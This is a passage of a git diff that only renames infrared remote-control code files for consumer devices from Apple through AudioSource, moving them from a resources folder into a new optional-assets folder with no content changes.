assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir similarity index 100% rename 